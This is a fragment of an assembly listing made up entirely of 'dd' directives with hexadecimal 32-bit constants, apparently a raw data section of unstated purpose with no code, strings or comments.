		dd 0F4643262h, 380BB329h, 125F63E2h, 0E1EA3414h, 2AAD7826h
		dd 7A9506E3h, 93581FBDh, 7DCE188Dh, 0C885F04Ch,	693434F2h
		dd 98FCF766h, 41E87745h, 82B5ED4Ah, 95622B61h, 8B75E444h
		dd 0E63D41FAh, 1D254C93h, 0BCE98864h, 3A419756h, 3961D16Ch
		dd 6142F179h, 351D373h,	0EC429FA7h, 9590165Dh, 1D7AC871h
		dd 0DBE6A544h, 57DD4C97h, 0F84B9C3Ah, 39FFB477h, 0A2500B71h
		dd 65179944h, 3104F772h, 0FB424B66h, 0A640A598h, 0BEF6950Fh
		dd 5276D23Ch, 0BD544231h, 0A0215A2Bh, 7C92873Ah, 0DF908B28h
		dd 0DF91D7BAh, 4CA1926Bh, 5243395Eh, 0E1A4C94Ch, 35F22A64h
		dd 0AC29487Ah, 6F4633BFh, 0F17AA273h, 0BDF920BBh, 92F2688Bh
		dd 0A9483A56h, 0EC27B059h, 9BCEA47Bh, 88A0B61Eh, 6E7AF8A7h
		dd 8D1C84FDh, 5D18CA4Fh, 75F33A27h, 7C345E4Dh, 7088E6EBh
		dd 16CEC49Ch, 65FFC594h, 0A55CFE58h, 0FC644309h, 0FBE36981h
		dd 3D82D984h, 4E864124h, 4AC93E0h, 0EBB414ADh, 15F2B324h
		dd 441B2E5Ah, 76696109h, 2E6A91B1h, 0B6E5504Fh,	2C939D1Fh
		dd 6C0DCDBBh, 7CF4A578h, 5C3A2941h, 1A0B8CA8h, 1B405808h
		dd 0CE11C4A6h, 158D040Ch, 287894BFh, 9897804h, 7430C4Dh
		dd 11026839h, 15209980h, 8D62F92Eh, 9696818h, 0DBB9876Eh
		dd 816A1484h, 4373755Dh, 0AECF2354h, 0FE70121Fh, 1C6E9E34h
		dd 4E534D00h, 32335247h, 0A41D5695h, 0F6C1819h,	0EE9D3631h
		dd 91544844h, 0A620B340h, 4621CE22h, 0A2D5627h,	782BD834h
		dd 54AB69E4h, 8A53A72h,	953837C3h, 82E6B036h, 10F50104h
		dd 4C14332h, 5BC709A5h,	0A52A5259h, 0A4300F84h,	3AFD74AEh
		dd 4C4F1738h, 2BBB2C84h, 4828D26Ch, 0B03150F4h,	0D409C8E4h
		dd 0B822C491h, 4CDCB044h, 0A8286B65h, 9C11C81Ch, 8C099499h
		dd 78248412h, 68917048h, 58445C22h, 114C8950h, 0A33669BCh
		dd 3428E94Ah, 6072203Ch, 48302434h, 58209428h, 0C9118C8h
		dd 0FC360422h, 44095930h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
		dd 0B044B422h, 14A089A8h, 11986C0Ch, 8809C890h,	78228091h
		dd 89687044h, 2450125Ch, 91444848h, 443C2240h, 24892C34h
		dd 10241C12h, 0FC880448h, 22F4112Fh, 0D8E444F0h, 0C812D089h
		dd 0C046E828h, 0ACB87C11h, 11B067ECh, 1C29C8A8h, 9411663Ah
		dd 808C4409h, 6C127489h, 60486824h, 0A8B8748Ah,	54115819h
		dd 224C0991h, 303C4444h, 24122889h, 14481C24h, 0C221091h
		dd 22C20845h, 0F0042EF8h, 0D891E448h, 0C844D022h, 12B889C0h
		dd 48A824B0h, 22A091A4h, 9094449Ch, 84128C89h, 74487C24h
		dd 64226C91h, 89545C44h, 24481250h, 91384840h, 4424222Ch
		dd 0C89101Ch, 112E0812h, 222DF810h, 0E0E844F0h,	0CC12D889h
		dd 0BC48C424h, 0AC22B491h, 899CA444h, 248C1294h, 917C4884h
		dd 4464226Ch, 3C894C5Ch, 30243412h, 28912C48h, 18442022h
		dd 11088910h, 0E9B12CFCh, 20645C09h, 11CCEC40h,	89DC09E4h
		dd 24D012D8h, 91C048C8h, 32A822B4h, 0A05095D4h,	90489824h
		dd 7C228891h, 89687444h, 26541260h, 4444094Ch, 12308938h
		dd 48202428h, 220C9114h, 2BFC2004h, 89ECF444h, 24DC12E4h
		dd 91CC48D4h, 44B822C0h, 0A089A8B0h, 8C249412h,	78918448h
		dd 68447022h, 12588960h, 4844244Ch, 2234913Ch, 18204428h
		dd 8121089h, 0F810112Eh, 44F0222Ah, 0D489DCE8h,	0C024CC12h
		dd 0AC91B848h, 9844A022h, 12888990h, 48782480h,	22689170h
		dd 50584460h, 3C124889h, 2C483424h, 18222091h, 8B081044h
		dd 29F84484h, 0E491EC08h, 0D444DC22h, 12C489CCh, 48B424BCh
		dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h
		dd 89444C44h, 2434123Ch, 91204828h, 45102218h, 0F823C208h
		dd 8BF17428h, 0F9225FC4h, 45BEC817h, 22B00991h,	949C44A8h
		dd 84128C89h, 74487C24h, 64226C91h, 89505844h, 24401248h
		dd 0BF304838h, 188920C4h, 8241012h, 0F820225Ch,	0E4F04427h
		dd 0D412DC89h, 0C448CC24h, 0B422BC91h, 89A4AC44h, 2494129Ch
		dd 9180488Ch, 44702278h, 58896068h, 48245012h, 38914048h
		dd 24442C22h, 12108918h
		dd 26FC2304h, 0C48BE974h, 17F9225Fh, 9145BEC8h,	0A422B009h
		dd 89909C44h, 24801288h, 91704878h, 44602268h, 44894C58h
		dd 34243C12h, 24912C48h, 0C441822h, 25FC8804h, 0E809E1D9h
		dd 0D424E012h, 0C091C848h, 0B044B822h, 12A089A8h, 48902498h
		dd 227C9184h, 646C4474h, 50125889h, 40484824h, 2C223491h
		dd 891C2444h, 2E081214h, 24F81011h, 0E444EC22h,	12D489DCh
		dd 48C424CCh, 22AC91B8h, 909C44A4h, 7C128889h, 68487024h
		dd 54226091h, 89404844h, 24301238h, 91204828h, 45102218h
		dd 0F823C208h, 8BE17423h, 44D80922h, 0BC89C4D0h, 5021B412h
		dd 0E8B34296h, 922A011h, 848C4498h, 70127889h, 60486824h
		dd 50225891h, 893C4844h, 24281234h, 91144820h, 2004220Ch
		dd 0F04422F8h, 12DC89E8h, 48C824D0h, 22B491BCh,	94A044ACh
		dd 84128C89h, 70487C24h, 5C226891h, 89485044h, 24381240h
		dd 91284830h, 44142220h, 0FC88040Ch, 22D9DD21h,	91E009C8h
		dd 44D022D8h, 0B489BCC4h, 0A024AC12h, 0A6A59848h, 6411908Ch
		dd 48800988h, 226C9178h, 545C4464h, 44124C89h, 30483824h
		dd 20222891h, 89101844h, 8D081708h, 0D2F920F8h,	8B7C112Fh
		dd 44CC0922h, 0B089BCC4h, 0A024A812h, 88919448h, 74447C22h
		dd 12608968h, 48502458h, 22409148h, 28304438h, 10121C89h
		dd 225C0824h, 441FF820h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
		dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h,	646C4474h
		dd 54125C89h, 44484C24h, 30223891h, 891C2844h, 2E081210h
		dd 1EF81B11h, 959A4F1h,	24CC12D8h, 91BC48C4h, 44A422B0h
		dd 88899098h, 78248012h, 64916C48h, 50445C22h, 12408948h
		dd 482C2438h, 221C9124h, 40C4414h, 811DFC88h, 24EC12F4h
		dd 91D848E0h, 44C422CCh, 0AC89B4BCh, 9824A412h,	80918C48h
		dd 70447822h, 12608968h, 48502458h, 22409148h, 28304438h
		dd 18122089h, 8481024h,	0E91CFC8Dh, 0E4092CD2h,	0D412DC89h
		dd 0C048C824h, 0B022B891h, 89A0A844h, 24901298h, 917C4888h
		dd 44682270h, 4C895460h, 3C244412h, 24913048h, 1214897Fh
		dd 4604240Ch, 0E9E91BFCh, 45BE8817h, 0CC092CF2h, 0B812C489h
		dd 0A848B024h, 9822A091h, 89889044h, 24781280h,	9160486Ch
		dd 44502258h, 34893C48h, 20242812h, 10911848h, 0FC370822h
		dd 0B248E91Ah, 0D824E009h, 0C891D048h, 0B844C022h, 12A889B0h
		dd 489824A0h, 2284918Ch, 6874447Ch, 58126089h, 48485024h
		dd 38224091h, 89283044h, 24141220h, 8804480Ch, 0F01119FCh
		dd 0E044E822h, 12D089D8h, 48BC24C8h, 22AC91B4h,	949C44A4h
		dd 80128889h, 68487424h, 58226091h, 89485044h, 24381240h
		dd 91244830h, 4514221Ch, 0F822C20Ch, 48EC0418h,	22DC91E4h
		dd 0C4CC44D4h, 0B412BC89h, 0A048AC24h, 88229491h, 89788044h
		dd 2464126Ch, 9154485Ch, 4440224Ch, 20892C34h, 1091F817h
		dd 11E10822h, 0E1BA17F4h, 912FE245h, 5FE48B7Ch,	0C817F922h
		dd 2CF245BEh, 80898C09h, 68247412h, 54916048h, 3C444822h
		dd 122C8934h, 481C2424h, 220C9114h, 16FC3604h, 0E84409E1h
		dd 12D889E0h, 48C824D0h, 22B491C0h, 9CA444ACh, 8C129489h
		dd 7C488424h, 6C227491h, 895C6444h, 244C1254h, 913C4844h
		dd 44282230h, 0C891420h, 0FC230412h, 9F16415h, 91E448ECh
		dd 44D422DCh, 0BC89C4CCh, 0AC24B412h, 9C91A448h, 8C449422h
		dd 127C8984h, 486C2474h, 225C9164h, 444C4454h, 34123C89h
		dd 20482C24h, 0C221491h, 0FBFC0444h, 0E245F9BAh, 8B7C912Fh
		dd 0F9225FE4h, 45BEC817h, 7C912FF2h, 959E48Bh, 24781280h
		dd 9164486Ch, 4450225Ch, 34893C48h, 24242C12h, 10911C48h
		dd 11E10822h, 0F00213F8h, 0E048E824h, 0CC22D491h, 89BCC444h
		dd 24AC12B4h, 919848A0h, 44882290h, 70897880h, 60246812h
		dd 50915848h, 3C444822h, 12288934h, 48182420h, 70089110h
		dd 0D912F888h, 12E409F1h, 48D424DCh, 22C491CCh,	0A8B444BCh
		dd 9412A089h, 84488C24h, 74227C91h, 89646C44h, 2450125Ch
		dd 91404848h, 44302238h, 10891C24h, 112E0812h, 0E911F81Bh
		dd 44E80922h, 0CC89D8E0h, 0BC24C412h, 0AC91B448h, 9C44A422h
		dd 128C8994h, 487C2484h, 226C9174h, 50584464h, 40124889h
		dd 30483824h, 20222891h, 89101844h, 9F081708h, 48F977F8h
		dd 2FF245BCh, 0C0096491h, 0B091B848h, 0A044A822h, 128C8994h
		dd 487C2484h, 226C9174h, 545C4464h, 40124C89h, 2C483424h
		dd 1C222491h, 890C1444h, 0FFC1104h, 0EC24F402h,	0DC91E448h
		dd 0C444D022h, 12B489BCh, 48A424ACh, 22909198h,	747C4484h
		dd 5C126889h, 44485024h, 34223C91h, 89242C44h, 2414121Ch
		dd 8D04480Ch, 0D2E10EFCh, 8B7C112Fh, 44D40922h,	0BC89C4CCh
		dd 0AC24B412h, 9891A448h, 84448C22h, 12708978h,	48602468h
		dd 22509158h, 38404448h, 28123089h, 18482024h, 4220C91h
		dd 440DFC20h, 0E089E8F0h, 0CC24D412h, 0BC91C448h, 0A844B022h
		dd 129889A0h, 48882490h, 2274917Ch, 545C4468h, 44124C89h
		dd 34483C24h, 24222C91h, 89141C44h, 9E08170Ch, 0D8E977F8h
		dd 99145BCh, 44D022D8h,	0B489BCC8h, 0A024AC12h,	8C919448h
		dd 7C448422h, 12688974h, 42582460h, 8C42BFACh, 0C84411ECh
		dd 2C913809h, 1C442422h, 48FC8B14h, 0BF88D04h, 112FD2E9h
		dd 5FE48B7Ch, 0C009C822h, 0AC22B491h, 8998A044h, 24881290h
		dd 91784880h, 4464226Ch, 48895058h, 38244012h, 28913048h
		dd 14441C22h, 1104890Ch, 0EC020AF8h, 0D848E024h, 0C822D091h
		dd 89B4BC44h, 24A012ACh, 91904898h, 44802288h, 68897078h
		dd 58246012h, 48915048h, 38444022h, 12288930h, 48182420h
		dd 70089110h, 8109F888h, 24E812F0h, 91D448DCh, 44C422CCh
		dd 0A489ACB8h, 94249C12h, 84918C48h, 74447C22h,	1264896Ch
		dd 4850245Ch, 22409148h, 242C4438h, 14121C89h, 4480C24h
		dd 1108F888h, 44E422ECh, 0CC89D4DCh, 0B824C012h, 0A491AC48h
		dd 94449C22h, 1284898Ch, 48702478h, 22609168h, 48504458h
		dd 38124089h, 20482C24h, 10221891h, 7FC11FFh, 0BC22F402h
		dd 3ED85E33h, 92CF245h,	12CC89D4h, 48BC24C4h, 22AC91B4h
		dd 949C44A4h, 84128C89h, 6C487824h, 5C226491h, 894C5444h
		dd 243C1244h, 91244830h, 4414221Ch, 0F888040Ch,	12F08106h
		dd 48DC24E4h, 22CC91D4h, 0B4BC44C4h, 0A412AC89h, 90489824h
		dd 78228491h, 89687044h, 2454125Ch, 9144484Ch, 4434223Ch
		dd 1C89242Ch, 8241012h,	0F836225Ch, 4409E905h, 0D889E0E8h
		dd 0C824D012h, 0B891C048h, 0A844B022h, 129489A0h, 4884248Ch
		dd 2274917Ch, 5860446Ch, 48125089h, 38484024h, 24222C91h
		dd 89101844h, 88081708h, 0EC1104F8h, 0DC44E422h, 12C889D4h
		dd 48B424C0h, 22A491ACh, 8C94449Ch, 7C128489h, 6C487424h
		dd 58226091h, 89485044h, 24381240h, 91284830h, 44182220h
		dd 848B0810h, 0F103F846h, 0BE8817E9h, 0CC099145h, 0B444C022h
		dd 12A489ACh, 4894249Ch, 2284918Ch, 6C74447Ch, 5C126489h
		dd 4C485424h, 3C224491h, 892C3444h, 241C1224h, 910C4814h
		dd 2FC1004h, 0E844F422h, 12D889E0h, 48C024CCh, 22B091B8h
		dd 98A044A8h, 88129089h, 70487C24h, 60226891h, 89505844h
		dd 243C1244h, 912C4834h
		dd 44182220h, 848B0810h, 801F844h, 22E891F0h, 0CCD444E0h
		dd 0B812C089h, 0A448AC24h, 94229C91h, 89808C44h, 24701278h
		dd 915C4864h, 444C2254h, 28893440h, 18242012h, 0C78A456h
		dd 93311DCh, 0E1E186F8h, 0DC440916h, 12CC89D4h,	48B824C4h
		dd 22A091ACh, 80884494h, 6C127489h, 5C486424h, 4C225491h
		dd 893C4444h, 242C1234h, 911C4824h, 2C082214h, 19A0FFFCh
		dd 12EC09F4h, 48DC24E4h, 22CC91D4h, 0B0BC44C4h,	0A012A889h
		dd 90489824h, 7C228491h, 742CA6B5h, 96C6411h, 915C4864h
		dd 444C2254h, 2C893840h, 1C242412h, 4911048h, 0F1FEFC1Bh
		dd 0E00959A4h, 0D024D812h, 0BC91C448h, 0AC44B422h, 129C89A4h
		dd 488C2494h, 22789184h, 58644470h, 48125089h, 38484024h
		dd 28223091h, 89141C44h, 88081708h, 0F011FDF8h,	0E044E822h
		dd 12CC89D4h, 48BC24C4h, 22AC91B4h, 949C44A4h, 84128C89h
		dd 74487C24h, 64226C91h, 894C5844h, 24381240h, 91284830h
		dd 44182220h, 0FC890810h, 8BE975C7h, 0D80959CCh, 0C824D012h
		dd 0B891C048h, 0A844B022h, 1294899Ch, 4884248Ch, 2270917Ch
		dd 54604468h, 44124C89h, 30483C24h, 20222891h, 89101844h
		dd 0FBF41708h, 0EC91F408h, 0D844E422h, 12C889D0h, 48B424C0h
		dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h
		dd 89444C44h, 2430123Ch, 91204828h, 440C2218h, 0FA6EFC04h
		dd 8B7891E9h, 44DC0922h, 0C089C8D4h, 0B024B812h, 9C91A848h
		dd 8C449422h, 127C8984h, 48682470h, 2254915Ch, 3844444Ch
		dd 28123089h, 18482024h, 8221091h, 0F9F811E1h, 0E824F002h
		dd 0D891E048h, 0C444D022h, 12B089BCh, 48A024A8h, 228C9194h
		dd 70784480h, 5C126889h, 4C485424h, 3C224491h, 89243444h
		dd 24181220h, 0B8084810h, 0F86CF444h, 89DC09E1h, 24CC12D4h
		dd 91BC48C4h, 44B422B8h, 90899CA8h, 78248412h, 60916C48h
		dd 48445422h, 1234893Ch, 48282430h, 221C9124h, 0FC084414h
		dd 24FEF741h, 91E848ECh, 44D822E4h, 0C489C8D4h,	0B024B412h
		dd 0A091AC48h, 88449422h, 12808984h, 4870247Ch,	2260916Ch
		dd 3C484454h, 24123089h, 14482024h, 4220891h, 0F6F411E1h
		dd 0DC09E9B2h, 0C448D024h, 0AC22B891h, 899CA044h, 24941298h
		dd 91844888h, 446C2278h, 0B4886468h, 22E9DF84h,	915009C8h
		dd 4440224Ch, 3489383Ch, 24243012h, 10911448h, 11E10C22h
		dd 0E802F5F4h, 0D048DC24h, 0C022C491h, 89ACB044h, 249C12A0h
		dd 91844890h, 446C2278h, 50895C60h, 38244412h, 28913448h
		dd 10441C22h, 4E848B04h, 0E42230F4h, 89D4D844h,	24C412C8h
		dd 91B448B8h, 44AC22B0h, 9889A0A8h, 84249012h, 0C644844h
		dd 0C87C1180h, 74917809h, 6C447022h, 12608968h,	7258245Ch
		dd 484C2450h, 22409144h, 2C304438h, 24122889h, 10481824h
		dd 88700891h, 0FC83F3F8h, 4EAFF048h, 183EBD20h,	0E419BC91h
		dd 25D2D841h, 11C8596Ch, 0C80991D0h, 0B844C022h, 12A489B0h
		dd 48942498h, 228C9190h, 80844488h, 99A0F68Ah, 9178117Ch
		dd 0B4177409h, 5F88E32Dh, 93705492h, 68412284h,	4C7B6045h
		dd 0E41158E0h, 404CE48Bh, 38893C09h, 2C243412h,	1C912448h
		dd 8441422h, 89F26CFCh,	0E889EC09h, 0DC24E412h,	0CC91D448h
		dd 0B844C422h, 12A089ACh, 4898249Ch, 228C9194h,	747C4484h
		dd 5C126889h, 4C485024h, 44224891h, 89343C44h, 2424122Ch
		dd 0B80C4818h, 0F140FC44h, 12F489F8h, 48E424ECh, 22D491DCh
		dd 0B0BC44C8h, 0A812AC89h, 9C48A424h, 8C229491h, 89788444h
		dd 2460126Ch, 9158485Ch, 444C2254h, 34893C44h, 3354FD15h
		dd 221C1128h, 14441809h, 17088910h, 0F0F88808h,	89E4C439h
		dd 26CC12D8h, 0C4666954h, 4409BC11h, 0AC89B0B4h, 0A424A812h
		dd 94919C48h, 0A6BF8C22h, 251188E4h, 0EC512F44h, 4D9578BAh
		dd 518066F0h, 70097864h, 58916448h, 48445022h, 12388940h
		dd 48282430h, 22189120h, 0A6284A10h, 53A825ECh,	29081BC4h
		dd 0F8200986h, 0E812F7EFh, 0D848E024h, 0C822D091h, 89B8C044h
		dd 24A812B0h, 919848A0h, 44882290h, 70897880h, 60246812h
		dd 50915848h, 40444822h, 12308938h, 48202428h, 22109118h
		dd 0F811E108h, 24F002EEh, 91E048E8h, 44D022D8h,	0B889C0C8h
		dd 0A824B012h, 9891A048h, 88449022h, 12788980h,	52682470h
		dd 33DEB8A9h, 9225819h,	2999F150h, 9F44114Ch, 7125F409h
		dd 193C9930h, 2C099134h, 1C442422h, 17088914h, 0EDF48808h
		dd 0E822F011h, 54A17C69h, 19E499A8h, 0DC1191A0h, 0CC09D432h
		dd 0B848C424h, 0A022AC91h, 89909444h, 2E74118Ch, 84582C2Ah
		dd 97821CCh, 1460896Ch,	58484DAEh, 33C86D11h, 22441150h
		dd 0C9953C09h, 119B3814h, 53DC0934h, 3E2C34D3h,	345A2411h
		dd 782BAA10h, 0CBF812D6h, 711C333Ch, 14092218h,	6D641044h
		dd 0C311592Eh, 0ECF80910h, 6C94F422h, 0FE31849Bh, 9E46419h
		dd 91D048DCh, 44C022C4h, 0B489B8BCh, 0AC24B012h, 0A091A848h
		dd 90449822h, 127C8988h, 486C2470h, 22649168h, 4C54445Ch
		dd 38124489h, 28482C24h, 20222491h, 89101844h, 2408120Ch
		dd 0EBFC4404h, 0F091F408h, 12E8897Fh, 48D824E0h, 22CC91D0h
		dd 0BCC444C8h, 0AC12B489h, 0A448A824h, 9822A091h, 89889044h
		dd 24801284h, 9174487Ch, 4464226Ch, 58895C60h, 48245012h
		dd 3C914048h, 34443822h, 1224892Ch, 4818241Ch, 22109114h
		dd 0F811E108h, 24F402EAh, 91EC48F0h, 44DC22E4h,	0CC89D0D4h
		dd 0C024C812h, 0B091B848h, 0A844AC22h, 129C89A4h, 488C2494h
		dd 22849188h, 70784480h, 64126889h, 5C486024h, 4C225491h
		dd 89404444h, 2438123Ch, 91284830h, 441C2220h, 0C891418h
		dd 0FC220412h, 48F804E9h, 22F091F4h, 0D8E044E8h, 0D012D489h
		dd 0C448CC24h, 0B422BC91h, 89ACB044h, 24A012A8h, 91904898h
		dd 4488228Ch, 74897C84h, 11296C12h, 1199686Ch, 125C0964h
		dd 484C2454h, 223C9144h, 202C4434h, 8121489h, 0F810112Eh
		dd 0EFF022E8h, 0D824E012h, 0C891D048h, 0BC44C022h, 12AC89B4h
		dd 489C24A4h, 228C9194h, 747C4484h, 5D446A8Ah, 652C0BDh
		dd 3091001h, 35323431h,	10333633h, 0CF390C37h, 0BB610DDh
		dd 0FFFB3117h, 0DB50BFB7h, 1D216D17h, 3632C00Fh, 0DD343822h
		dd 847ABC10h, 626E6D08h, 0C548ED76h, 0BA33C532h, 73770A79h
		dd 0A3E1478h, 2C636465h, 7A617185h, 0CA183450h,	0BD6E1031h
		dd 636FF1BFh, 43ACD345h, 71D8F44Bh, 65E277E2h, 120846E3h
		dd 16410A83h, 1E3AA01Ch, 623056E5h, 0AA423283h,	3C88682Ch
		dd 8C84C48h, 8E790C33h,	0BD2C8B18h, 0CE080877h,	2D099A11h
		dd 80D0364h, 678433C2h,	19B2180Ah, 801A877h, 239C116Eh
		dd 95185538h, 43017619h, 0E18C7008h, 18ACC219h,	1AA7919h
		dd 6784081Bh, 1815CE08h, 50741965h, 23DC0801h, 0AB704638h
		dd 73192A18h, 0E1088601h, 8533C219h, 75191859h,	8370154h
		dd 9C11CE08h, 19CA182Ah, 8A10170h, 8C7046B8h, 191856E1h
		dd 0D016F55h, 8433C208h, 0B2180A67h, 1A86E19h, 9C116E08h
		dd 18553823h, 16D1995h,	8C700843h, 0ACC219E1h, 0AA6C1918h
		dd 84081B01h, 15CE0867h, 6B196518h, 0DC080150h,	70463823h
		dd 192A18ABh, 886016Ah,	33C219E1h, 19185985h, 37015469h
		dd 11CE0808h, 0CA182A9Ch
		dd 0A1016819h, 7046B808h, 1856E18Ch, 1675519h, 33C2080Dh
		dd 180A6784h, 0A86519B2h, 116E0801h, 5538239Ch,	66199418h
		dd 70084301h, 0A44E18Ch, 0F65A0D12h, 84081B02h,	36EF64h
		dd 1635619h, 21DC0C42h,	901215CEh, 2037E424h, 19B2180Ah
		dd 1601B262h, 700EE10Ch, 248712ACh, 55B82021h, 72198918h
		dd 92E28966h, 99DB64E7h, 0FAF839D7h, 68670966h,	0B4286B6Ah
		dd 0E410EE0Ch, 0C8080837h, 0A694A618h, 627602D4h, 89B6D6Eh
		dd 6D086784h, 1911B209h, 90E15F6Bh, 640ECF61h, 5D594F54h
		dd 4B204119h, 299452E1h, 0A14FC872h, 0C3A12FB5h, 0B1AFDC2h
		dd 9677046Ah, 7B0C8BB3h, 9A08A606h, 0C7760D4h, 69757974h
		dd 0C706F29h, 8E7106Eh,	9080D72h, 0EC2A0C35h, 3931CCECh
		dd 0B30CA650h, 0A1012178h, 0E7106E0Ch, 24C8120Ah, 5201372h
		dd 4B4F4E08h, 5C35C49h,	0E584553h, 0DFBE52BCh, 0A8569E54h
		dd 4A44781Ch, 4D992353h, 4F4E2CC6h, 0C406EADh, 60639F41h
		dd 4EFE59F6h, 1CD45953h, 75D26D61h, 41530843h, 4E55984Dh
		dd 6F20CF47h, 374C30B7h, 34143536h, 45A63233h, 703A005h
		dd 36DCE1B7h, 35119109h, 31E434C8h, 0AE4FA877h,	91A33C39h
		dd 0E437C838h, 39357236h, 8E331C34h, 8E7B3247h,	38475086h
		dd 1DF18E78h, 77C43BFEh, 0DE11EF88h, 7847BC23h,	7837478Eh
		dd 0E21DF18Eh, 8877FC3Bh, 23DE11EFh, 8E7847BCh,	8E783647h
		dd 3BE21DF1h, 0EFF877C4h, 0BC23DE11h, 478E7847h, 0F18E7835h
		dd 0C43BE21Dh, 0F1EF8877h, 7F3B23DEh, 4570344Dh, 8183508h
		dd 63426208h, 11722F66h, 68283DD1h, 3C4D083Dh, 1F5A0814h
		dd 681F1310h, 4D083F10h, 2408143Eh, 3650491Fh, 219D3B0Ah
		dd 0E4106E0Ch, 0C8080837h, 0F8DFA018h, 0DC4DFB30h, 3AD40EA3h
		dd 0A410A4F7h, 4B3F82CBh, 9D2E876Fh, 2FF412A7h,	0F4A93F28h
		dd 49F3F7BAh, 0B011D28h, 3887700Ch, 28299C43h, 200B31EDh
		dd 1218AA70h, 16013A80h, 700BE10Ch, 18A11CA7h, 700852B8h
		dd 9C1218AAh, 0C16013Ah, 87700EE1h, 0DA285338h,	0E1201631h
		dd 57191856h, 0C420136h, 10CE21DCh, 7B280AE7h, 0DC203142h
		dd 19CA182Ah, 0CE80135h, 0C239845Bh, 284FE11Ch,	5B203168h
		dd 19185985h, 0B015D34h, 3887700Ch, 28299C43h, 200B31EDh
		dd 2B18AB70h, 0A1013319h, 0E7106E0Ch, 3D857308h, 2031A128h
		dd 6518156Eh, 1743219h,	1CC20C2Dh, 0A7700EE1h, 2D31B428h
		dd 18ACC220h, 1AE3119h,	42B80C85h, 0CE1029DCh, 0B8480815h
		dd 5408B79Ch, 91384839h, 44352236h, 32893334h, 2A564A16h
		dd 16827001h, 460AE10Bh, 90244312h, 0A28DC20h, 42013057h
		dd 4041D80Ch, 2308CC21h, 0CA84240Bh, 64092503h,	3926725Eh
		dd 36F0A2Ah, 11096D10h,	968019A6h, 0CA1CE82Bh, 3D8D0839h
		dd 0A7CFAC2Dh, 0EB60CBAh, 0C03D109h, 11688B7Dh,	7481C34h
		dd 0D810A20h, 967C740h,	5B1F2111h, 5117D09h, 5E252423h
		dd 0CC05126h, 23DC08D0h, 96D4338h, 85B40911h, 6D697A09h
		dd 0EFEEC5AFh, 760C2710h, 797D7070h, 0B572F297h, 6E7904F8h
		dd 7AFA78E0h, 64D7EEE1h, 35FEB7C5h, 38BF184Dh, 62C402CBh
		dd 30D17275h, 0FFB7712h, 61CD65DBh, 88EC6808h, 70AD3F79h
		dd 0AF700EFDh, 55217A68h, 0ECF55DCAh, 4618DB3Ah, 28A42A68h
		dd 454B5CAFh, 0C70C5269h, 145D09F8h, 69108319h,	28F53618h
		dd 87C80CA8h, 20D7F627h, 168ADB0Ch, 0FDFBC6AEh,	9F4C7872h
		dd 66F4CA37h, 186DCDE3h, 69A895B7h, 67797650h, 9DA274F6h
		dd 65680C27h, 0BC89BB66h, 0F89D782Ch, 20D8AC4Ah, 5C745568h
		dd 44B66AF1h, 0F68A2084h, 0A36F8905h, 75700DBCh, 0A82F0862h
		dd 24689D1Eh, 63A453F9h, 190794ECh, 48640C0Ch, 0CA867B4h
		dd 68CF796Ch, 0F161AE6Dh, 3F54A245h, 69182426h,	9BFF3663h
		dd 2486E401h, 0E6F4DB09h, 12A5C4F6h, 0C3CA02B7h, 13668C35h
		dd 77653418h, 94CE1B09h, 846096Dh, 0FE5EB57Ah, 288D59F5h
		dd 87A6765h, 61161865h,	9B9C99FFh, 83D26B28h, 838ECE6Ah
		dd 2A1A6CBBh, 757D63ACh, 0CAC9C4B7h, 0BB6622Eh,	0C446C67h
		dd 4835EFF9h, 11EEDA68h, 2A9FAC5Ah, 0EAB8F1A5h,	0AA406624h
		dd 2065492Fh, 4D406824h, 5DAA0418h, 27F9A9ECh, 5E3276FCh
		dd 0A394B273h, 43626120h, 2A6A8496h, 0FB05AA2Ch, 9145EC6Dh
		dd 8BAD32A0h, 0B64DA18h, 3022C57Eh, 0CD0A4F7h, 26331848h
		dd 82097B73h, 83BFCE57h, 70A23514h, 18146614h, 327D60A3h
		dd 0B8996E68h, 0B69CF66Bh, 0C894436h, 0E7D1A068h, 0B20C38D0h
		dd 45431A61h, 0F34C1B45h, 38998E7Eh, 9A4194Dh, 52BF2A60h
		dd 6C50106Ch, 9736762h,	691B686Fh, 50EB5A35h, 0B445B3C4h
		dd 0AC268D14h, 0DA8A266h, 63BE878Eh, 990F979h, 0A4E44164h
		dd 314AB4DCh, 77246394h, 5209AFF1h, 5DF1B551h, 417992B3h
		dd 6EABB509h, 0A018356Ch, 66666C1Ch, 419E6209h,	64141272h
		dd 78346800h, 0A11F9B30h, 0B431100Ch, 78880A54h, 4D086953h
		dd 0A0302634h, 0A5C2A66Dh, 588D330Ch, 7A85EABFh, 2C353965h
		dd 887380Ch, 3270454Dh,	7808876Bh, 0B0635270h, 0C80C7842h
		dd 454D7038h, 0B73C2287h, 583131ECh, 534D1950h,	2C240990h
		dd 7995D862h, 46F19428h, 58384360h, 8E549204h, 49793EB1h
		dd 9B226ACAh, 75EC753Fh, 419B99FFh, 3025782Eh, 18645433h
		dd 9BC4B833h, 89A9734h,	30207D6Ah, 0D89E3071h, 5C550E4Bh
		dd 1ABA521Bh, 1443508Ch, 36222DF7h, 80D100Dh, 0FCD91AC2h
		dd 2896E34h, 0EBB111A6h, 0A4B0779Ch, 556C7539h,	62A54208h
		dd 2EF1F5C4h, 0B97B5EE8h, 0A41CC8C8h, 79A238E8h, 5D63C382h
		dd 548B08D6h, 4128184Ch, 0B1C5051Dh, 73081282h,	9B465D6Ah
		dd 0C76C19CAh, 0B6FCDCB9h, 0D90C8629h, 0EF6B3411h, 67084AE5h
		dd 0AB53BC18h, 0A3711C5Dh, 0F5ACC664h, 88761054h, 0A46EEC10h
		dd 8615210h, 1609F15Eh,	9C862E08h, 6DDA7764h, 0CCE30DC9h
		dd 83D7BCACh, 8686D94h,	8C80C78h, 66726B64h, 49616439h
		dd 8420C0Ah, 0A3A0686Ah, 3408A10Ch, 940824FBh, 0E9085DA1h
		dd 32D62D10h, 24275AB4h, 0A84948CAh, 10344AD3h,	1A1A04C4h
		dd 78108910h, 48F0B98Fh, 0C3DE4B24h, 4BC91824h,	0E4104911h
		dd 1D6511D9h, 11664C22h, 2094D26Ch, 28B265E4h, 349625DCh
		dd 3453088Ah, 3CA3AA34h, 85901490h, 5A79A465h, 828C708h
		dd 0A8D4824h, 2008796Bh, 34E2BDCEh, 76650822h, 33F9504Ch
		dd 86E2A1Ch, 0AED01084h, 605B5DCh, 8327964h, 7C1B1A69h
